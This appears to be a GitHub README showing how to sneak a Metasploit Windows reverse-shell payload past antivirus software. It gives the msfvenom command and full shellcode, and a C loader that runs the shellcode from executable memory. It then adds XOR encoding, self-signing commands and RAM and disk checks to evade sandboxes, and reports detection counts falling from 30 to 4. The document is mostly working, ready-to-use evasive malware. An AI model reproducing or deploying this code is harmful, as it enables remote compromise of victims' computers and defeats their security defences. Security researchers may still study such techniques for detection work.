antivirus-evasion

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antivirus-evasion

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Applying some AV evasion techniques on a metasploit reverse shell

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# antivirus-evasion

Applying some AV evasion techniques on a msfvenom reverse shell.

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.58.159 LPORT=9999 -f c
```
Our generated shellcode

```
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x3a\x9f\x68"
"\x02\x00\x27\x0f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

```

Our sample code:

```cpp
#include <Windows.h>

void main()
{
  // msfvenom generated shellcode
	char shellcode[] = \
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x3a\x9f\x68"
"\x02\x00\x27\x0f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

// alocate space in the process
	void *exec_shellcode = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	// copying the shellcode into the allocated space
	memcpy(exec_shellcode, shellcode, sizeof shellcode);
	
	// execute the shellcode
	((void(*)())exec_shellcode)();
}
```

Just by xoring the generated shellcode we bypassed some signature based detections, and we went from 30 detections to 19.

singing the executable moved us from 19 to 6 detections. But we still get flagged by dynamic analysis.

```cmd
$cert = New-SelfSignedCertificate -DnsName www.5h3r10ck.github.io -Type CodeSigning -CertStoreLocation Cert:\CurrentUser\My
$CertPassword = ConvertTo-SecureString -String "my_passowrd" -Force –AsPlainText
Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "C:\Users\test\Desktop\antivirus-evading\selfsigncert.pfx" -Password $CertPassword
signtool.exe sign /v /f "selfsigncert.pfx" /p "my_passowrd" -t "http://timestamp.verisign.com/scripts/timstamp.dll" "malware.exe"
```

![image](https://i.ibb.co/1LSdZ9N/Screenshot-5.png)

By adding RAM and HardDiskDrive checks, we escaped some sandboxed environement and we went from 6/69 detections to 4/69 detections.

![image2](https://i.ibb.co/5nN04Wv/Screenshot-6.png)

final code:

```cpp
#include <Windows.h>

int main()
{
	// msfvenom generated shellcode after xoring it with "\xa1"
	char shellcode[] = \
		"\x5d\x49\x23\xa1\xa1\xa1\xc1\x28\x44\x90\x61\xc5\x2a\xf1\x91"
		"\x2a\xf3\xad\x2a\xf3\xb5\x2a\xd3\x89\xae\x16\xeb\x87\x90\x5e"
		"\x0d\x9d\xc0\xdd\xa3\x8d\x81\x60\x6e\xac\xa0\x66\x43\x53\xf3"
		"\xf6\x2a\xf3\xb1\x2a\xeb\x9d\x2a\xed\xb0\xd9\x42\xe9\xa0\x70"
		"\xf0\x2a\xf8\x81\xa0\x72\x2a\xe8\xb9\x42\x9b\xe8\x2a\x95\x2a"
		"\xa0\x77\x90\x5e\x0d\x60\x6e\xac\xa0\x66\x99\x41\xd4\x57\xa2"
		"\xdc\x59\x9a\xdc\x85\xd4\x45\xf9\x2a\xf9\x85\xa0\x72\xc7\x2a"
		"\xad\xea\x2a\xf9\xbd\xa0\x72\x2a\xa5\x2a\xa0\x71\x28\xe5\x85"
		"\x85\xfa\xfa\xc0\xf8\xfb\xf0\x5e\x41\xfe\xfe\xfb\x2a\xb3\x4a"
		"\x2c\xfc\xc9\x92\x93\xa1\xa1\xc9\xd6\xd2\x93\xfe\xf5\xc9\xed"
		"\xd6\x87\xa6\x5e\x74\x19\x31\xa0\xa1\xa1\x88\x65\xf5\xf1\xc9"
		"\x88\x21\xca\xa1\x5e\x74\xf1\xf1\xf1\xf1\xe1\xf1\xe1\xf1\xc9"
		"\x4b\xae\x7e\x41\x5e\x74\x36\xcb\xa4\xc9\x61\x09\x9b\x3e\xc9"
		"\xa3\xa1\x86\xae\x28\x47\xcb\xb1\xf7\xf6\xc9\x38\x04\xd5\xc0"
		"\x5e\x74\x24\x61\xd5\xad\x5e\xef\xa9\xd4\x4d\xc9\x51\x14\x03"
		"\xf7\x5e\x74\xc9\xc2\xcc\xc5\xa1\x28\x42\xf6\xf6\xf6\x90\x57"
		"\xcb\xb3\xf8\xf7\x43\x5c\xc7\x66\xe5\x85\x9d\xa0\xa0\x2c\xe5"
		"\x85\xb1\x67\xa1\xe5\xf5\xf1\xf7\xf7\xf7\xe7\xf7\xef\xf7\xf7"
		"\xf2\xf7\xc9\xd8\x6d\x9e\x27\x5e\x74\x28\x41\xef\xf7\xe7\x5e"
		"\x91\xc9\xa9\x26\xbc\xc1\x5e\x74\x1a\x51\x14\x03\xf7\xc9\x07"
		"\x34\x1c\x3c\x5e\x74\x9d\xa7\xdd\xab\x21\x5a\x41\xd4\xa4\x1a"
		"\xe6\xb2\xd3\xce\xcb\xa1\xf2\x5e\x74";

// alocate space in the process
	void *exec_shellcode = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	// copying the shellcode into the allocated space
	memcpy(exec_shellcode, shellcode, sizeof shellcode);
	
	// xoring the shellcode
	for (int i = 0; i < sizeof shellcode; i++)
	{
		((char*)exec_shellcode)[i] = (((char*)exec_shellcode)[i]) ^ '\xa1';
	}

// execute the shellcode if the RAM>3GB and HardDisk>499GB
	MEMORYSTATUSEX memoryStatus;
	memoryStatus.dwLength = sizeof(memoryStatus);
	GlobalMemoryStatusEx(&memoryStatus);
	DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
	HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
	DISK_GEOMETRY pDiskGeometry;
	DWORD bytesReturned;
	DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
	DWORD diskSizeGB;
	diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
	if ( RAMMB > 3000 && diskSizeGB > 499){
		((void(*)())exec_shellcode)();
	}
	return 0;
	
	return 0;
}
```
Resources:

https://blog.f-secure.com/dynamic-shellcode-execution/

https://evasions.checkpoint.com/

https://blog.sevagas.com/

https://0xpat.github.io/

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